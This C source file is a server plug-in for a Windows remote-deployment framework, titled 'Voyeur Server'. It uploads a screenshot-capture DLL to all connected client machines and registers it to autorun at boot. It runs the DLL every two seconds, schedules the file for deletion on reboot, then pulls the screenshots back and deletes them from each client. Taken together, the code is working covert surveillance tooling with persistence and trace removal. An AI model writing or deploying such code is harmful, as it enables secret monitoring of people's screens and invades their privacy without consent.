/*
	Author: Axt Müller
	Description: Windows-Batch-Deployment's user-defined server program
	Usage: Take screenshots of clients
*/
#include <stdio.h>
#include <Windows.h>
#pragma comment(lib,"user32.lib")
#include "../ServerTest/template.h"
#include "../ServerTest/test.h"

void WorkProc(PCLIENT_INFO p)
{
	PWCHAR names = NULL;
	BOOLEAN bFound = FALSE;
	WCHAR wsAppPath[MAX_PATH] = {0};
	WCHAR wsSavingPath[MAX_PATH] = {0};
	WCHAR wsLF[MAX_PATH] = {0};
	WCHAR wsRF[MAX_PATH] = L"C:\\ProgramData\\psc.dll";
	WCHAR wsDllParam[] = L"MainProc 2000";//"2000" = "take screenshots every 2000ms"
	WCHAR wsDir[MAX_PATH] = L"C:\\ProgramData\\ScreenShot";
	ULONG dwFiles = 0, dwCrc32Val = 0;
	//Query local file path
	if(GetModuleFileNameW(0, wsAppPath, MAX_PATH))
	{
		size_t i, c = wcslen(wsAppPath);
		for(i=c-1; i>=0; i--)
		{
			if(wsAppPath[i]==L'\\')
			{
				wsAppPath[i+1]=L'\0';
				//make local saving directory
				wcscat(wsSavingPath, wsAppPath);
				wcscat(wsSavingPath, L"RemoteScreenshots\\");
				CreateDirectoryW(wsSavingPath, NULL);
				//set local DLL path
				wcscat(wsLF, wsAppPath);
				wcscat(wsLF, L"udsp-screen-capture32.dll");
				break;
			}
		}
	}
	else
	{
		printf("[%04ld]Query program path unsuccessfully.\n", p->id);
		goto __exit;
	}
	//Check if the PSC autorun exists
	if(_CmdQueryAutoRunBin(p->id, CLIENT_AUTORUN_TYPE_DLL, &names))
	{
		PWCHAR ptr = names;
		while(1)
		{
			if(wcslen(ptr)==0)break;
			printf("[%04ld][DllAutoRun]%S.\n", p->id, ptr);
			if(wcsicmp(ptr,L"PSC")==0)
			{
				bFound = TRUE;
				break;
			}
			ptr = ptr + wcslen(ptr)+1;
		}
		FREE(names);
	}
	else
	{
		printf("[%04ld]Query auto-run unsuccessfully.\n", p->id);
		goto __exit;
	}
	//Upload DLL and set AutoRun
	if(!bFound)
	{
		ULONG64 RetVal = 0;
		WCHAR wsRunDll[MAX_PATH] = {0};
		//Create directory
		if(_CmdFileOperation(p->id, CLIENT_FSO_CREATE_DIRECTORY, L"c:\\ProgramData", NULL, NULL))
		{
			printf("[%04ld]Create ProgramData directory successfully.\n", p->id);
		}
		else
		{
			printf("[%04ld]Create ProgramData directory unsuccessfully.\n", p->id);
		}
		//Delete DLL
		if(_CmdFileOperation(p->id, CLIENT_FSO_DELETE, wsRF, NULL, NULL))
		{
			printf("[%04ld]Delete DLL successfully.\n", p->id);
		}
		else
		{
			printf("[%04ld]Delete DLL unsuccessfully.\n", p->id);
		}
		//Upload the DLL file
		if(_CmdUploadFileTo(p->id, wsLF, wsRF, NULL))
		{
			printf("[%04ld]Upload file successfully.\n", p->id);
		}
		else
		{
			printf("[%04ld]Upload file unsuccessfully.\n", p->id);
			goto __exit;
		}
		//Add AutoRun
		if(_CmdAddAutoRunBin(p->id, CLIENT_AUTORUN_TYPE_DLL, L"PSC", wsRF, wsDllParam))
		{
			printf("[%04ld]Add auto-run successfully.\n", p->id);
		}
		else
		{
			printf("[%04ld]Add auto-run unsuccessfully.\n", p->id);
			goto __exit;
		}
		//Run DLL
		wcscat(wsRunDll, wsRF);
		wcscat(wsRunDll, L",");
		wcscat(wsRunDll, wsDllParam);
		if(_CmdExecuteBinary(p->id, wsRunDll, CLIENT_RUN_DLL_P1, CLIENT_RUN_DLL_P2, &RetVal))
		{
			printf("[%04ld]Load DLL successfully.\n", p->id);
		}
		else
		{
			printf("[%04ld]Load DLL unsuccessfully.\n", p->id);
			goto __exit;
		}
		//Delete DLL after reboot
		if(_CmdFileOperation(p->id, CLIENT_FSO_DELAY_MOV_DEL, wsRF, NULL, NULL))
		{
			printf("[%04ld]Delay to delete DLL successfully.\n", p->id);
		}
		else
		{
			printf("[%04ld]Delay to delete DLL unsuccessfully.\n", p->id);
		}
	}
	//Query file count of ScreenShot directory.
	if(_CmdQueryDirectory(p->id, wsDir, NULL, &dwFiles))
	{
		BOOLEAN bNeedExit = 0;
		printf("[%04ld]Number of screenshots: %ld.\n", p->id, dwFiles);
		//Allocate file buffer, make it bigger than needed, because new files may be created after querying file amount
		PBDP_FILE_INFO pFiles = (PBDP_FILE_INFO)MALLOC(sizeof(BDP_FILE_INFO) * (dwFiles+64));
		if(pFiles)
		{
			RtlZeroMemory(pFiles, sizeof(BDP_FILE_INFO) * (dwFiles+64));
			//Query file names of ScreenShot directory.
			if(_CmdQueryDirectory(p->id, wsDir, pFiles, &dwFiles))
			{
				for(ULONG i=0; i<dwFiles; i++)
				{
					if(pFiles[i].FileSize!=0xFFFFFFFFFFFFFFFF && wcsstr(pFiles[i].FileName, L".png"))
					{
						WCHAR wsLocalPic[MAX_PATH] = {0};
						WCHAR wsRemotePic[MAX_PATH] = {0};
						wsprintf(wsRemotePic, L"%s\\%s", wsDir, pFiles[i].FileName);
						wsprintf(wsLocalPic, L"%s%S@%s", wsSavingPath, p->szDescription, pFiles[i].FileName);
						//Download remote file to local
						if(_CmdDownloadFileFrom(p->id, wsRemotePic, wsLocalPic, NULL))
						{
							printf("[%04ld]Download file successfully: %S\n", p->id, wsLocalPic);
						}
						else
						{
							printf("[%04ld]Download file unsuccessfully: %S\n", p->id, wsLocalPic);
						}
						//Delete remote file
						if(_CmdFileOperation(p->id, CLIENT_FSO_DELETE, wsRemotePic, NULL, NULL))
						{
							printf("[%04ld]Delete remote file successfully: %S\n", p->id, wsRemotePic);
						}
						else
						{
							printf("[%04ld]Delete remote file unsuccessfully: %S\n", p->id, wsRemotePic);
						}
					}
				}
			}
			else
			{
				printf("[%04ld]Enumerate directory unsuccessfully.\n", p->id);
				bNeedExit = 1;
			}
			FREE(pFiles);
		}
		if(bNeedExit)
		{
			goto __exit;
		}
	}
	else
	{
		printf("[%04ld]Query number of screenshots unsuccessfully.\n", p->id);
	}
__exit:;
}

void main()
{
	//NOTE:
	//1.don't check for update.
	//2.perform operations on each client multiple times.
	//3.traverse all clients unlimited times.
	//4.the time interval for each traversal of all clients is 4096 milliseconds.
	SetConsoleTitleW(L"Voyeur Server");
	puts("Description: This server program will push a DLL for screenshots to all clients, "
		"and the DLL will run automatically after the system starts. When the server program is online, "
		"it will collect screenshots from all clients and save to \"RemoteScreenshots\" folder.\n");
	CreateSimpleServer(9999, WorkProc, 0, 0, 0, USN_PAGE_SIZE);
	system("pause");
}